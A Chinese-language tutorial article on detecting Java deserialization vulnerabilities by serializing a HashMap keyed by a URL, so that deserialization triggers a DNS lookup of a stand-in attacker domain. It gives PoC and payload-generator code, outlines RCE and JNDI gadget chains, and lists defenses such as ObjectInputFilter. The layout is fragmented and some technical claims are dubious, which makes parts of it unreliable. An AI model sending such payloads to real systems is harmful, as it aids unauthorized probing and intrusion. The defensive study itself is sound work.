您好,登录后才能下订单哦!
# 怎么通过HashMap触发DNS检测Java反序列化漏洞
## 前言
Java反序列化漏洞自2015年FoxGlove Security团队公开以来,已成为Java安全领域的经典议题。其中利用`HashMap`触发DNS请求的技术因其隐蔽性和检测便利性,成为漏洞验证的常用手段。本文将深入剖析该技术的实现原理、利用条件及防御方案。
---
## 一、Java反序列化漏洞基础
### 1.1 反序列化漏洞成因
当Java应用反序列化不可信数据时,会执行对象的`readObject()`方法。若攻击者精心构造恶意序列化数据,可能触发非预期的对象行为链(Gadget Chain),最终导致RCE、SSRF或DNS查询等副作用。
```java
// 典型漏洞代码示例
try (ObjectInputStream ois = new ObjectInputStream(untrustedInput)) {
    Object obj = ois.readObject(); // 危险的反序列化操作
}
HashMap实现了Serializable接口,其readObject()方法包含对键值对的特殊处理逻辑:
private void readObject(ObjectInputStream s) 
    throws IOException, ClassNotFoundException {
    // ...省略其他代码...
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false); // 关键点
    }
}
当HashMap的key是URL或InetAddress等网络相关类时:
1. 反序列化过程中会调用key.hashCode()
2. 某些类的hashCode()会触发网络请求
3. 通过DNS日志即可确认漏洞存在
HashMap->hash(key)
  URL->hashCode()
    URLStreamHandler->hashCode()
      getHostAddress()  // 触发DNS查询
构造PoC代码:
HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://attacker-dns.com");
map.put(url, "test");
// 序列化map对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(map);
byte[] payload = baos.toByteArray();
// 发送payload到目标服务
| 类名 | 触发方式 | 依赖库 | 
|---|---|---|
| java.net.Inet4Address | getHostName() | JRE内置 | 
| javax.management.remote.rmi.RMIConnector | connect() | JMX | 
| org.apache.xbean.naming.context.ContextUtil | lookup() | XBean | 
sequenceDiagram
    Attacker->>Target: 发送恶意HashMap序列化数据
    Target->>DNS Server: 解析恶意域名
    DNS Server-->>Attacker: 记录查询日志
public class HashMapDNSDetector {
    public static byte[] generatePayload(String dnsUrl) throws Exception {
        HashMap<URL, String> map = new HashMap<>();
        URL url = new URL(dnsUrl);
        map.put(url, "vulnerable");
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(map);
        return baos.toByteArray();
    }
}
当目标使用HashTable等数据结构时,可通过精心构造哈希碰撞确保触发:
HashMap<URL, String> map = new HashMap<>();
URL url1 = new URL("http://dns1.example.com");
URL url2 = new URL("http://dns2.example.com");
// 设置相同hashCode
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url1, 123);
hashCodeField.set(url2, 123);
map.put(url1, "value1");
map.put(url2, "value2"); // 确保进入hashCode比较流程
HashMap->AnnotationInvocationHandler->
  TemplatesImpl->getOutputProperties()
    // 最终实现RCE
// 使用白名单校验
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.util.HashMap;!java.net.URL");
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);
| 方案 | 实施要点 | 
|---|---|
| JEP 290过滤机制 | JDK9+默认启用 | 
| 替换序列化方案 | 使用JSON/ProtoBuf等替代 | 
| 运行时防护 | RASP检测危险类加载行为 | 
攻击链:
HashMap->LimitFilter->toString()
  MethodExpression->invoke()
    // 实现JNDI注入
利用HashMap触发ScriptSecurity绕过,最终实现沙箱逃逸。
通过HashMap触发DNS检测的技术虽然不能直接获取系统权限,但其作为漏洞存在的”探针”具有重要价值。安全研究人员应深入理解底层机制,开发更精准的检测工具。企业用户则需建立从开发到运维的全生命周期防护体系。
参考资源: 1. Oracle安全公告JEP-290 2. Java反序列化漏洞白皮书 3. ysoserial工具集 “`
注:本文为技术研究文档,仅限合法安全测试使用。实际执行需获得系统所有者授权,禁止用于非法用途。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。